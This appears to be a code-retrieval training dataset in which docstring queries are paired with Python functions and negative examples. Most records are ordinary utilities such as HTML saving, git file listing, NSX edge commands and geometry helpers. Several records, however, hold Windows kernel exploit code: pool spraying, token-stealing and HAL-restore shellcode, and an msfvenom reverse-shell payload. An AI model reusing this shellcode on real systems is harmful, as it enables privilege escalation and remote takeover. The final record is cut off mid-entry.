"def spray(required_hole_size):\n\tglobal pool_object_handles\n\tgood_object = find_object_to_spray(required_hole_size)\n\tfor i in range(SPRAY_COUNT):\n\t\tpool_object_handles.append(allocate_object(good_object, i))\n\tprint \"[+] Spray done!\"\n\treturn good_object",
"def put_requests():",
"def routes(self, b... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Calculate the previous size value for the pool header The PreviousSize value 8 = previous chunk | def calculate_previous_size(required_hole_size):
return required_hole_size/8 | [
"def prev_size(self):\n return self.state.memory.load(self.base, self._chunk_size_t_size) & ~CHUNK_FLAGS_MASK",
"def pupil_size(self):\n\t\t\n\t\t# get newest pupil size\n\t\tps = self.eyetribe.pupil_size()\n\t\t\n\t\t# invalid data\n\t\tif ps == None:\n\t\t\treturn -1\n\t\t\n\t\t# check if the new pupil s... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Recreate CTL_CODE macro to generate driver IOCTL | def ctl_code(function,
devicetype = FILE_DEVICE_UNKNOWN,
access = FILE_ANY_ACCESS,
method = METHOD_NEITHER):
return ((devicetype << 16) | (access << 14) | (function << 2) | method) | [
"def create_macro(self):\n if(self.permissions == \"0444\"):\n write_func = \"NULL\"\n else:\n write_func = self.name + \"_write\"\n \n c_code = (\"DEVICE_ATTR(\" + self.name + \", \" + self.permissions\n + \", \" + self.name + \"_read, \"... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Set various structure variables based on OS version | def setosvariablesx64():
KPROCESS = ''
FLINK = ''
UPID = ''
TOKEN = ''
version = sys.getwindowsversion()
if((version.major == 5) and (version.minor == 2)):
# the target machine's OS is Windows Server 2003
print "[*] OS version: Windows Server 2003"
KPROCESS = '\x68'
TOKEN = '\x60\x01' #0x160
UPID = '\x... | [
"def setOS(self, os):\n self.os = os",
"def parse_os(self) -> None:\n if not self.os:\n self.os = OS(\n self.user_agent,\n self.ua_hash,\n self.ua_spaceless,\n self.VERSION_TRUNCATION,\n ).parse()\n self.all_det... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Retrun a shellcode to retore HalDispatchTable ptrs | def retore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation):
if HaliQuerySystemInformation == 0x0 or HalpSetSystemInformation == 0x0:
return ""
else:
shellcode = (
"\x31\xc0"
"\xb8" + struct.pack("L", HalpSetSystemInformation) +
"\xa3" + struct.pack("L", HalDispatchTable + 0x8)... | [
"def add_shellcode() -> bytes:\n # msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread lhost=eth0 lport=4444 \n # -f c -b \"\\x00\\x20\\x25\\x2b\\x2f\\x5c\"\n #Payload size: 351 bytes\n shellcode = b\"\"\n shellcode += b\"\\xba\\x6e\\x70\\x53\\xc6\\xdb\\xc4\\xd9\\x74\\x24\\xf4\\x5e\\x31\\xc9\\xb1\"... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Retrun a token restore shellcode related to the platform | def restoretokenx86(RETVAL, extra = ""):
(KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86()
shellcode = (
"\x52"
"\x33\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124]
"\x8b\x40" + KPROCESS + # mov eax,DWORD PTR [eax+_KPROCESS]
"\x8b\x15\x00\x09\x02\x00"
"\x... | [
"def tokenstealingx64(RETVAL, extra = \"\"):\n\t(KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64()\n\tshellcode = (\n\t\"\\x65\\x48\\x8b\\x04\\x25\\x88\\x01\\x00\\x00\"\t\t# mov rax, [gs:0x188] ;Get current ETHREAD in\n\t\"\\x48\\x8b\\x40\" + KPROCESS +\t\t\t\t\t# mov rax, [rax+0x68] ;Get cur... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Retrun a token stealing shellcode related to the platform | def tokenstealingx86(RETVAL, extra = ""):
(KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86()
shellcode = (
"\x60" # pushad
"\x33\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,DWORD PTR fs:[eax+0x124]
"\x8b\x40" + KPROCESS + # mov eax,DWORD PTR [eax+_KPROCESS]
"\x8b\xc8" ... | [
"def tokenstealingx64(RETVAL, extra = \"\"):\n\t(KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64()\n\tshellcode = (\n\t\"\\x65\\x48\\x8b\\x04\\x25\\x88\\x01\\x00\\x00\"\t\t# mov rax, [gs:0x188] ;Get current ETHREAD in\n\t\"\\x48\\x8b\\x40\" + KPROCESS +\t\t\t\t\t# mov rax, [rax+0x68] ;Get cur... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Retrun a token stealing shellcode related to the platform | def tokenstealingx64(RETVAL, extra = ""):
(KPROCESS,FLINK,UPID,TOKEN) = setosvariablesx64()
shellcode = (
"\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ;Get current ETHREAD in
"\x48\x8b\x40" + KPROCESS + # mov rax, [rax+0x68] ;Get current KPROCESS address
"\x48\x89\xc1" ... | [
"def tokenstealingx86(RETVAL, extra = \"\"):\n\t(KPROCESS,APLINKS,UPID,TOKEN) = setosvariablesx86()\n\tshellcode = (\n\t\"\\x60\"\t\t\t\t\t\t\t\t\t\t# pushad\n\t\"\\x33\\xc0\"\t\t\t\t\t\t\t\t\t# xor\teax,eax\n\t\"\\x64\\x8b\\x80\\x24\\x01\\x00\\x00\"\t\t\t\t# mov\teax,DWORD PTR fs:[eax+0x124]\n\t\"\\x8b\\x40\" + KP... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Determine if the transaction(t) belongs to trade(tr) without altering the tr | def tranBelong(tr, lst, t):
if tr.isReal():
cp = Trade()
cp.state = tr.state
cp.addTrans(tr.tranCol+lst, False)
else:
cp = tr
return cp.belong(t) | [
"def is_voided_trade(trade):\n return trade.Status() in (\"Void\", \"Confirmed Void\")",
"def is_transaction(self):\n return self._request.has_var(\"_transid\")",
"def _check_duplicate_trans(self):\n transactions_set = set(self._transactions)\n return len(transactions_set) == len(self._t... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Solve linear system Ax = b with A matrix in filename and b = (0, 1, 2, 3, ...) using the specified method | def solve_system(A, method):
# find b vector such that Ax = b
# with x = [0 1 2 ... size(m)]
size = A.shape
true_x = list(xrange(0, size[1]))
b = A.dot(true_x)
# solve Ax = b and check solution error
# diretti
if method in [sla.spsolve, direttolu]:
x = method(A, b)
print... | [
"def relaxation_as_linear_operator(method, A, b):\n\n def unpack_arg(v):\n if isinstance(v, tuple):\n return v[0], v[1]\n return v, {}\n\n # setup variables\n accepted_methods = ['gauss_seidel', 'block_gauss_seidel', 'sor',\n 'gauss_seidel_ne', 'gauss_seidel_... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
adds a command to the system crontab to download the mta data. | def add_cron_job(nondated_url, curr_date):
user = os.environ.get('USER', '')
if user == '':
usage("no USER env var set.")
api_key = os.environ.get('MTA_API_KEY', '')
if api_key == '':
usage("no MTA_API_KEY env var set. Please add `export MTA_API_KEY=<KEY>` to .bashrc/.zshrc and try again... | [
"def install_crontab():\r\n assert env.nodetype, 'no nodetype specified'\r\n assert env.host_string, 'no hosts specified'\r\n cron_file = '~/viewfinder/scripts/crontab.%s' % env.nodetype.lower()\r\n # Run 'crontab <filename>' if the remote file exists, otherwise run 'crontab -r'.\r\n # Warn only as 'crontab -r... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Saves html in specified filename in given path | def saveHtml(path: str, filename: str, html: str) -> None:
filepath = os.path.join(path, filename)
with open(filepath, "w") as fileHandle:
fileHandle.write(html)
return filepath | [
"def save(self):\n with open(self.html_file(), 'w') as file:\n file.write(self.html)",
"def save(self):\n html_file = '{}/{}.html'.format(self.web_dir, self.title)\n f = open(html_file, 'wt')\n f.write(self.doc.render())\n f.close()",
"def store_html(self, path: str... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Extracts hyperlink from more anchor tag | def getPaginationHyperlink(html: str) -> str:
moreLinkPattern = r'\<tr class="morespace".*?\<a\shref="(?P<hyperlink>.+?)"\sclass="morelink"'
morelinkCompiledRegex = re.compile(moreLinkPattern, flags=re.IGNORECASE | re.DOTALL)
matchedRegex = morelinkCompiledRegex.search(html)
if matchedRegex:
hyp... | [
"def extract_next_page(parser):\n more = parser.find('a', class_='morelink')\n return more['href']",
"def news_page_link(html_soup):\n # Container div with all top news and p tag(at last) with more link\n news_div = html_soup.find(\"div#news_event\", first=True)\n\n more_news_div_tag = news_div.fin... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Run ``git lsfiles`` in the toplevel project directory. Arguments go directly to execution call. | def git_ls_files(*cmd_args):
cmd = ['git', 'ls-files']
cmd.extend(cmd_args)
return set(subprocess.check_output(cmd).splitlines()) | [
"def git_ls_files():\n\tproc = subprocess.Popen(\n\t\t['git', 'ls-files'],\n\t\tstdin=subprocess.DEVNULL,\n\t\tstdout=subprocess.PIPE,\n\t\tstderr=None\n\t)\n\t(stdout, stderr) = proc.communicate()\n\tif proc.returncode != 0:\n\t\traise OSError(\"Cannot list version-controlled files\")\n\tfilenames = stdout.decode(... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Print a message indicating failure in red color to STDERR. | def print_failure_message(message):
try:
import colorama
print(colorama.Fore.RED + message + colorama.Fore.RESET,
file=sys.stderr)
except ImportError:
print(message, file=sys.stderr) | [
"def print_failure(msg):\n print RED + msg + END_COLOR",
"def print_error(msg):\n print_message(color_string('ERROR', 'FAIL'), 'EXITING: [%s] failed to execute properly.' % msg)",
"def print_error(message):\n from sys import stderr\n print(\"\\033[1;31;40m \" + message + \"\\033[0;37;40m\", file=std... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns the Kernel version, Build number, Name and Version information for given NSX edge NSXEdge>show version | def get_os_info(cls, client_object, **kwargs):
endpoint = "show version "
PARSER = "raw/showEdgeVersion"
EXPECT_PROMPT = ['bytes*', 'NSXEdge>']
# Get the parsed data
mapped_pydict = utilities.get_mapped_pydict_for_expect(
client_object.connection, endpoint, PARSER, ... | [
"def get_version(self):\n verxml = self._ncc.nxoscli('show version')\n self.logger.debug(verxml)\n verparsed = _begin_parse(verxml)\n sysmgrclischema = parse_get_nsmap(verparsed)\n self.logger.debug(\"NSMAP: {}\".format(sysmgrclischema))\n showversion = find_element(['sys_v... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Logs in to given NSX edge in configure terminal mode and fetch the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_configure_mode for output format | def get_all_supported_commands_configure_mode(cls, client_object,
**kwargs):
pydict = dict()
try:
if "password" in kwargs:
pwd = kwargs["password"]
pylogger.info("trying to create an expect connection "
... | [
"def get_all_supported_commands_enable_mode(\n cls, client_object, **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n password = kwargs[\"password\"]\n pylogger.info(\"trying to create an expect connection \"\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Logs in to given NSX edge in enable mode with specified credentials and fetches the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_enable_mode for output format | def get_all_supported_commands_enable_mode(
cls, client_object, **kwargs):
pydict = dict()
try:
if "password" in kwargs:
password = kwargs["password"]
pylogger.info("trying to create an expect connection "
"with %s" %... | [
"def get_all_supported_commands_configure_mode(cls, client_object,\n **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n pwd = kwargs[\"password\"]\n pylogger.info(\"trying to create an expect co... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Logs in to given NSX edge in admin mode with specified credentials and fetches the list of all supported commands. Returns the list of commands in a pyset object. Refer /VDNetLib/TestData/Edge/list_command_admin_mode for output format | def get_all_supported_commands_admin_mode(
cls, client_object, **kwargs):
pydict = dict()
EXPECT_PROMPT = ['bytes*', 'NSXEdge>']
try:
if "password" in kwargs:
password = kwargs["password"]
pylogger.info("trying to create an expect connecti... | [
"def get_admin_commands(self):\n\n return []",
"def get_all_supported_commands_enable_mode(\n cls, client_object, **kwargs):\n pydict = dict()\n\n try:\n if \"password\" in kwargs:\n password = kwargs[\"password\"]\n pylogger.info(\"trying t... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Creates or removes feed mappings. Operation statuses are returned. | def MutateFeedMappings(self, request, context):
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!') | [
"def bulk_update_mappings(\n self, mapper: Mapper[Any], mappings: Iterable[Dict[str, Any]]\n ) -> None:\n self._bulk_save_mappings(\n mapper, mappings, True, False, False, False, False\n )",
"def make_mapping(self) -> None:\n start_mark = StreamMark('generated node', 0, 0... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Reads the pid file and returns the process id contained in it. This also verifies as best as it can that the process returned is running and is really an agent process. The id of the agent process or None if there is none or it cannot be read. | def __read_pidfile(self):
try:
pf = file(self.pidfile, 'r')
contents = pf.read().strip().split()
pf.close()
except IOError:
return None
pid = int(contents[0])
try:
os.kill(pid, 0)
except OSError, e:
# ESRCH ... | [
"def _readpid( self ):\n \n if not os.path.exists( self._pidfile() ):\n return None\n f = open( self._pidfile(), \"r\" )\n pid = int( f.read() )\n f.close()\n return pid",
"def getPid(self):\n try:\n fh = open(self.filename)\n except OS... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns True if the commandline arguments for the specified process can be read. | def __can_read_command_line(self, pid):
return os.path.isfile('/proc/%d/cmdline' % pid) | [
"def has_options(cli):\n for item in cli:\n if '--' in item:\n return True\n return False",
"def check_args_server():\n for arg in sys.argv:\n if arg == \"SERVER\":\n return True\n return False",
"def is_command_ancillary(args):\n # pylint: disable=bad-continua... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Reads the commandline arguments for the specified pid and returns the contents. | def __read_command_line(self, pid):
pf = None
try:
pf = file('/proc/%d/cmdline' % pid, 'r')
return pf.read().strip()
finally:
if pf is not None:
pf.close() | [
"def ReadArguments():\n\n args = ParseArguments()\n\n logging.info('Command line arguments...')\n for arg in vars(args):\n logging.info(str(arg) + ': ' + str(getattr(args, arg)))\n logging.info('')\n\n IsTest(args)\n ProcessCacheSize(args)\n ProcessLineSize(args)\n ProcessMulti(args)\... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Exit the process with a nonzero status if the agent is already running. | def fail_if_already_running(self):
pid = self.__read_pidfile()
if pid:
message = "The agent appears to be running pid=%d. pidfile %s does exists.\n"
sys.stderr.write(message % (pid, self.pidfile))
sys.exit(1) | [
"def agent_already_running():\n agent_program_name = 'raptiformica.actions.agent'\n allowed_procs = 1 if _get_program_name() == agent_program_name else 0\n check_running = \"ps aux | grep 'bin/[r]aptiformica_agent.py' | \" \\\n \"grep -v screen -i | grep python3 | grep -v 'sh -c' | \" \\... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Sleeps for at most the specified number of seconds while also handling signals. Python does not do a great job of handling signals quickly when you invoke the normal time.sleep(). This method is a Unixspecific implementation of a sleep that should do better quickly handling signals while sleeping. This method may retur... | def sleep(self, seconds):
# We schedule an alarm signal for x=seconds out in the future.
# noinspection PyUnusedLocal
def handle_alarm(signal_num, frame):
pass
signal.signal(signal.SIGALRM, handle_alarm)
signal.alarm(seconds)
# Wait for either the alarm to ... | [
"def sleep_for(seconds: float) -> None:\n if seconds <= 0.0:\n return\n\n rest = seconds\n while rest > 0.0:\n if rest > 1.0:\n sleep = 1.0\n else:\n sleep = rest\n\n rest -= sleep\n\n time.sleep(sleep)\n if tests.siger.Siger.done():\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns CPU and memory usage information. It returns the results in a tuple, with the first element being the number of CPU seconds spent in user land, the second is the number of CPU seconds spent in system land, and the third is the current resident size of the process in bytes. | def get_usage_info(self):
usage_info = resource.getrusage(resource.RUSAGE_SELF)
user_cpu = usage_info[0]
system_cpu = usage_info[1]
rss_size = usage_info[2]
return user_cpu, system_cpu, rss_size | [
"def get_total_cpu_time_and_memory_usage() -> Tuple[float, int]:\n me = resource.getrusage(resource.RUSAGE_SELF)\n children = resource.getrusage(resource.RUSAGE_CHILDREN)\n total_cpu_time = me.ru_utime + me.ru_stime + children.ru_utime + children.ru_stime\n total_memory_usage = me.ru_maxrss + children.r... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Check that all output files are produced and are equivalent to the ones in goldStandard folder. | def _checkOutputs(self, outputs, random=False, errorthreshold=0.001):
for out in outputs:
outFile = os.path.join(self._testDir, self.outputDir, out)
fileGoldStd = os.path.join(self.goldDir, out)
# Check the expect output file was produced
msg = "Missi... | [
"def _checkOutputs(self, outputs, random=False):\n for out in outputs:\n outFile = os.path.join(self._testDir, self.outputDir, out)\n fileGoldStd = os.path.join(self.goldDir, out)\n \n # Check the expect output file was produced\n msg = \"Missing expecte... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Create a context menu for the widget (the main widget for this view) | def make_context_menu(self, widget):
self.context_menu_widget = widget
self.context_menu_widget.setContextMenuPolicy(Qt.CustomContextMenu)
self.context_menu_widget.customContextMenuRequested.connect(self.request_context_menu)
self.context_menu = QMenu() | [
"def _create_context_menu(self):\n self.menu = Gtk.Menu()\n delete_menu = Gtk.MenuItem(\"Delete Task\")\n self.menu.append(delete_menu)",
"def context_menu(self):\n\n menu = QMenu(self)\n # menu.setWindowFlags(menu.windowFlags() | Qt.NoDropShadowWindowHint)\n # color_menu... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Función encargada de checkear los errores de un formulario. | def _errors_form(self, form):
form_errors = form.errors
for fields_error in form_errors.keys():
for error in form_errors[fields_error]:
messages.error(self.request, fields_error + ": " + error, 'danger') | [
"def test_formulario_invalido_muestra_errores(self):\n\n self.login_usuario(self.admin)\n response = self.post(self.URL, data={})\n\n self.assertFormError(response, 'form', 'lideres', 'Este campo es obligatorio.')",
"def check_forms(*args):\n error_template = '<div class=\"control-containe... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Función encargada de crear un TFG dado su formulario y un tutor de forma opcional. | def _create_tfg(self, form, tutor2=None):
pass | [
"def system_creator_tf(self, numerador, denominador):\n\n if not self.main.tfdiscretocheckBox1.isChecked(\n ) and self.main.tfdelaycheckBox1.isChecked():\n delay = json.loads(self.main.tfdelayEdit1.text())\n else:\n delay = 0\n\n system = ctrl.TransferFunction(numerador, denominador, delay... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Inputs values to table in database. | def input_values(curs, table_name, inputs):
curs.executemany("""INSERT INTO {} (s, x, y)
VALUES (?, ?, ?);""".format(table_name), inputs) | [
"def insertData(table, column, input):\n\ttry:\n\t\tcon = sqlite3.connect('PampDb.db')\n\t\tcur = con.cursor()\n\t\tcur.execute(\"INSERT INTO '\" + table + \"' (\" + column + \") VALUES ('\" + input + \"')\")\n\t\tcon.commit()\n\t\tcon.close()\n\texcept:\n\t\tprint('Could not run function insertData from DbControll... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Queries to find number of rows in table in database where x is greater than or equal to x_gte and y is greater than or equal to y_gte. | def count_rows_greater(curs, table_name, x_gte=5, y_gte=5):
assert x_gte is not None and y_gte is not None
where_str = ""
val = None
if x_gte is None:
where_str = "WHERE y >= ?"
val = (y_gte)
elif y_gte is None:
where_str = "WHERE x >= ?"
val = (x_gte)
else:
... | [
"def get_ids_in_bounds(db ,tablename, bounds):\n with db.begin() as conn:\n where = ['%f <= a_%d and a_%d <= %f' % (minv, i, i, maxv) for i, (minv, maxv) in enumerate(map(tuple, bounds))]\n where = ' and '.join(where)\n q = \"\"\" select id from %s where %s\"\"\" % (tablename, where)\n return [... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Queries to find number of distinct values of col column in table in database. | def count_distinct_col(curs, table_name, col='y'):
return curs.execute("""SELECT COUNT(DISTINCT {})
FROM {};""".format(col, table_name)).fetchone()[0] | [
"def get_distinct_col_count(\n col : str,\n query : str,\n connector : Optional[meerschaum.connectors.sql.SQLConnector] = None,\n debug : bool = False\n ) -> Optional[int]:\n \n if connector is None:\n from meerschaum import get_connector\n connector = get_connecto... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Load a song from the given file. | def load_song(self, path):
self._menu_select('File->Open')
self._open_file(path)
try:
# Get the annoying Comments window out of the way
self._app.Comments.minimize()
except MatchError:
pass | [
"def loadMusic(self, filename):\n pygame.mixer.music.load(filename)",
"def loadSong(fileName):\n with open (fileName, 'r') as f:\n testSong = ast.literal_eval(f.read())\n\n return testSong",
"def load(self, song):\n self.currentSongName = song\n self.currentSong = pygame.mixer.... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Load a style from the given file. | def load_style(self, path):
self.wait_ready()
def open_dialog():
# Bring up the style popup menu and choose to open a style file
self._song_pane.click_input(coords=(44, 73), absolute=False)
menu = self._app.window(class_name='#32768')
menu.menu_item('File... | [
"def load(self, styleFile):\n\t\tsfile = {}\n\t\twith open(styleFile) as fp:\n\t\t\tsfile = json.load(fp)\n\t\t\n\t\tif \"font\" in sfile:\n\t\t\tself.font = Font(logic.expandPath(sfile[\"font\"]))\n\t\telse:\n\t\t\tself.font = Font()\n\n\t\tif \"text_color\" in sfile:\n\t\t\tself.text_color = sfile[\"text_color\"]... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
The key signature of the song. | def key_signature(self):
text = self._get_menu_item_text('Edit->Key Signature')
return re.search(r'\[([A-G].?)\]$', text).group(1) | [
"def signature(self):\n return self._signature",
"def get_vibsignature(self):\n return self.vsig",
"def raw_key(self) -> bytes:\n return bytes(self.data_bytes[ProofPath._Positions.KEY_POS : ProofPath._Positions.KEY_POS + KEY_SIZE])",
"def key_fingerprint(self):\n return self._key_f... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
The time signature (meter) of the song. | def time_signature(self):
text = self._get_menu_item_text('Edit->Meter (Time Signature)')
return re.search(r'\[([0-9]+/[0-9]+)\]$', text).group(1) | [
"def time_signature(self):\n return self.h5.root.analysis.songs.cols.time_signature[self.songidx]",
"def time_signature_confidence(self):\n return self.h5.root.analysis.songs.cols.time_signature_confidence[self.songidx]",
"def get_time(self):\n playback = self.sp.current_playback()\n ... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
The tempo of the song. | def tempo(self):
text = self._get_menu_item_text('Edit->Tempo')
return float(re.search(r'\[([0-9.,]+)\]$', text).group(1)) | [
"def tempo(self):\n return self.h5.root.analysis.songs.cols.tempo[self.songidx]",
"def tempo(self, tempo: int) -> None:\n validate_type('tempo', tempo, int)\n self.meter.tempo = tempo\n for track in self.track_list:\n track.tempo = tempo",
"def getTempo(self):\n ret... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Formats the DF and adds missing columns | def add_missing_columns(df, columns):
df_columns = list(df.columns)
table_columns = columns
col_not_in_df = set(table_columns) - set(df_columns)
# print(f' missing columns from df : {col_not_in_df}')
for col in col_not_in_df:
df[col] = ''
df = df[table_... | [
"def fix_data(self, df):\n return df.dropna(axis='columns', how='all').fillna(0.0)",
"def fill_mising(self, dict):\t\n\t\tfor name, df in dict.items():\n\t\t\tdf = df.fillna(method='pad')\n\t\t\tdict[name] = df\n\t\treturn dict",
"def clean_df(raw_df):\n # replace NaN except poi and email_address (ref... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Update ArcGIS R bindings on this machine. | def update_package(r_library_path=r_library_path):
# TODO make sure that the package isn't loaded before updating?
info = arcpy.GetInstallInfo()
arc_version = info['Version']
product = info['ProductName']
if arc_version in ('10.1', '10.2', '10.3.0') and product == 'Desktop':
arcpy.AddError... | [
"def refresh_script_provider(self):\n if qgis_version() < 21600:\n from processing.core.Processing import Processing\n Processing.updateAlgsList()\n else:\n from processing.core.alglist import algList\n algList.reloadProvider('script')",
"def update(self):... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given two points pt0 and pt1, return a unit vector that points in the direction of pt0 to pt1. Returns | def _unit_vector(pt0, pt1):
dis_0_to_1 = sqrt((pt0[0] - pt1[0])**2 + (pt0[1] - pt1[1])**2)
return (pt1[0] - pt0[0]) / dis_0_to_1, \
(pt1[1] - pt0[1]) / dis_0_to_1 | [
"def joint2Vect(self, pt1,pt2):\r\n\t\tvect = pt1 - pt2\r\n\t\td = np.linalg.norm(vect)\r\n\t\treturn vect/d",
"def getVector(p0, p1):\n return (p1[0] - p0[0], p1[1] - p0[1], p1[2] - p0[2])",
"def unitDirectionVector(pos_a, pos_b):\n\n # calculate the separation between the two vectors\n separation = p... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given a vector, returns a orthogonal/perpendicular vector of equal length. Returns | def _orthogonal_vector(vector):
return -1 * vector[1], vector[0] | [
"def perpendicular_vector(v):\n if np.round(v[1]) == 0 and np.round(v[2]) == 0:\n if v[0] == 0:\n raise ValueError('zero vector')\n else:\n return np.cross(v, [0, 1, 0])\n return np.cross(v, [1, 0, 0])",
"def get_perpendicular2d(vector):\n if vector[1] == 0:\n r... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given index location in an array and convex hull, it gets two points hull[index] and hull[index+1]. From these two points, it returns a named tuple that mainly contains area of the box that bounds the hull. This bounding box orintation is same as the orientation of the lines formed by the point hull[index] and hull[ind... | def _bounding_area(index, hull):
unit_vector_p = _unit_vector(hull[index], hull[index + 1])
unit_vector_o = _orthogonal_vector(unit_vector_p)
dis_p = tuple(np.dot(unit_vector_p, pt) for pt in hull)
dis_o = tuple(np.dot(unit_vector_o, pt) for pt in hull)
min_p = min(dis_p)
min_o = min(dis_o)
... | [
"def convex_hull_area(fixations):\n from shapely.geometry import MultiPoint\n xy_tuple = [tuple(x) for _, x in fixations[[\"fix_x\", \"fix_y\"]].iterrows()]\n return MultiPoint(xy_tuple).convex_hull.area",
"def test_convexHullFacetArea(self):\n try:\n import pyhull\n except Impor... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given angle from horizontal axis and a point from origin, returns converted unit vector coordinates in x, y coordinates. angle of unit vector should be in radians. Returns | def _to_xy_coordinates(unit_vector_angle, point):
angle_orthogonal = unit_vector_angle + pi / 2
return point[0] * cos(unit_vector_angle) + point[1] * cos(angle_orthogonal), \
point[0] * sin(unit_vector_angle) + point[1] * sin(angle_orthogonal) | [
"def angle_to_vector(angle):\n assert isinstance(angle, int) or isinstance(angle, float), type(angle)\n\n return (math.cos(angle), math.sin(angle))",
"def vector_to_axis(line, point):\n line = line.normalized()\n np = point.norm()\n angle = line.angle(point)\n return point - line ** (np * numpy.... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Given an image numpy array, it returns all the points in each object in the image. Assuming background have maximum number of points, it will remove background object points. input | def _get_mask_points(img_arr):
img_unique_val = np.unique(img_arr)
max_point_object_id = -1
max_num_points = -1
masks_point_dict = dict()
for mask_id in img_unique_val:
points_location = np.where(img_arr == mask_id)
min_height = min(points_location[0])
max_height = max(points... | [
"def collect_object_image_points(self):\n # arrays to store object points and image points from all the images\n obj_points = []\n img_points = []\n\n # prepare object points, like (0,0,0),(1,0,0),(2,0,0)....,(8,5,0)\n obj_p = np.zeros((CORNER_SIZE[0] * CORNER_SIZE[1], 3), np.floa... | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Function to convert velocity to spherical coordinates velocity Returns ~einsteinpy.coordinates.velocity.SphericalDifferential Spherical representation of the velocity in Cartesian Coordinates. | def spherical_differential(self):
